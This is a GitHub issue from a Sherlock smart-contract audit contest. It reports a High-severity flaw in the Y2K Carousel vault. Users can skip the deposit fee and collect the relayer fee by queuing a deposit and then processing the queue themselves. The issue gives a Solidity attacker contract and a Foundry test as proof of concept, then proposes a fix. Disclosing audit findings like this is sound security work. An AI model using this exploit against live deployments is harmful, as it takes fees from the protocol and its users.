You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Oct 1, 2023. It is now read-only.
sherlock-admin opened this issue
Mar 27, 2023
· 0 comments
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelHighA valid High severity issueRewardA payout will be made for this issue
Users can avoid paying any type of fee when depositing
Summary
When depositing to the premium or collateral vault, there exists 2 ways, by depositing directly or by joining the depositQueue.
When depositing directly, the user pays a depositFee which increases linearly from the epochCreation and the epochBegin, this is because the users who deposit later than others have an informational advantage, so they pay a higher fee.
The other way is by using the depositQueue, here the users join the queue and wait for someone to call mintDepositQueue which processes each entry of the depositQueue in FILO order, and taking a relayerFee (which is deducted from the deposits of each entry) for each entry processed.
The problem is that users can avoid paying the depositFee and the relayerFee by joining the depositQueue and exactly after that calling mintDepositQueue with one operation.
Vulnerability Detail
The only requirements for executing mintDepositInQueue is that the epochId exists and that have not started (block.timestamp < epochBegin). Those are the exact requirements for depositing directly (by not setting _id to zero). So, a user can avoid paying the depositFee by joining the depositQueue and because this queue is processed in FILO order, he can call mintDepositInQueue right away and also receive the relayerFee of his entry.
Impact
This breaks protocol assumptions about depositFee being a protection for informational advantage since users can avoid paying it, even close to the epochBegin, and they don't even need to pay for the relayerFee.
Exploiting this advantage is easier by using a contract, I created the following contract, it is simplified to only show this vulnerability:
// SPDX-License-Identifier: MITpragma solidity0.8.17;
interfaceCarousel2 {
function deposit(uint256id, uint256assets, addressreceiver) external;
function mintDepositInQueue(uint256epochId, uint256operations) external;
}
interfaceERC202 {
function balanceOf(addressaccount) externalreturns(uint256);
function approve(addressspender, uint256amount) externalreturns(bool);
}
contractAvoidFees {
Carousel2 public collateralVault;
Carousel2 public premiumVault;
ERC202public underlyingAsset;
constructor(address_collateralVault, address_premiumVault, address_underlyingAsset) {
collateralVault =Carousel2(_collateralVault);
premiumVault =Carousel2(_premiumVault);
underlyingAsset =ERC202(_underlyingAsset);
}
function avoidPayingFees(uint256epochId) external {
uint256 balance = underlyingAsset.balanceOf(address(this));
underlyingAsset.approve(address(premiumVault), balance);
callDepositPremium();
callMintDepositInQueueForPremiumVault(epochId);
}
function callDepositPremium() internal {
premiumVault.deposit(0, underlyingAsset.balanceOf(address(this)), address(this));
}
function callMintDepositInQueueForPremiumVault(uint256epochId) internal {
premiumVault.mintDepositInQueue(epochId, 1);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytesmemory
) publicreturns (bytes4) {
returnthis.onERC1155Received.selector;
}
}
Then I created a test on the EndToEndCaraouselTest.t.sol file.
Import the attacker contract: import "../../../src/attacker/AvoidFees.sol";
Add to the state variables AvoidFees public avoidFeesContract;
function testAvoidPayingFees() public {
//warp to deposit period
vm.warp(begin -1 days);
// Assert the balance of the attacker contractassertEq(500 ether, IERC20(UNDERLYING).balanceOf(address(avoidFeesContract)));
// Succesfully avoid paying `depositFee` and `relayerFee`
avoidFeesContract.avoidPayingFees(epochId);
// The contracts gets reimbursed the relayerFee since it executed the deposit queueassertEq(2 gwei, IERC20(UNDERLYING).balanceOf(address(avoidFeesContract)));
uint256 expectedBalance =500ether-2gwei;
assertEq(Carousel(premium).balanceOf(address(avoidFeesContract), epochId), expectedBalance);
}
Run forge test --match-contract EndToEndCarouselTest --match-test testAvoidPayingFees
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelHighA valid High severity issueRewardA payout will be made for this issue
0xRobocop
medium
Users can avoid paying any type of fee when depositing
Summary
When depositing to the premium or collateral vault, there exists 2 ways, by depositing directly or by joining the
depositQueue
.When depositing directly, the user pays a
depositFee
which increases linearly from theepochCreation
and theepochBegin
, this is because the users who deposit later than others have an informational advantage, so they pay a higher fee.The other way is by using the
depositQueue
, here the users join the queue and wait for someone to callmintDepositQueue
which processes each entry of thedepositQueue
in FILO order, and taking arelayerFee
(which is deducted from the deposits of each entry) for each entry processed.The problem is that users can avoid paying the
depositFee
and therelayerFee
by joining thedepositQueue
and exactly after that callingmintDepositQueue
with one operation.Vulnerability Detail
The only requirements for executing
mintDepositInQueue
is that theepochId
exists and that have not started (block.timestamp <epochBegin
). Those are the exact requirements for depositing directly (by not setting_id
to zero). So, a user can avoid paying thedepositFee
by joining thedepositQueue
and because this queue is processed in FILO order, he can callmintDepositInQueue
right away and also receive therelayerFee
of his entry.Impact
This breaks protocol assumptions about
depositFee
being a protection for informational advantage since users can avoid paying it, even close to theepochBegin
, and they don't even need to pay for therelayerFee
.Exploiting this advantage is easier by using a contract, I created the following contract, it is simplified to only show this vulnerability:
Then I created a test on the
EndToEndCaraouselTest.t.sol
file.import "../../../src/attacker/AvoidFees.sol";
AvoidFees public avoidFeesContract;
setUp()
function:forge test --match-contract EndToEndCarouselTest --match-test testAvoidPayingFees
Code Snippet
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L494
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L310
Tool used
Manual Review
Recommendation
Since this vulnerability is more on the side of the design rather than the implementation, is better to re-think the dynamics of the protocol.
One possible fix is to charge the
depositFee
also for the entries on thedepositQueue
plus therelayerFee
.Duplicate of #75
The text was updated successfully, but these errors were encountered: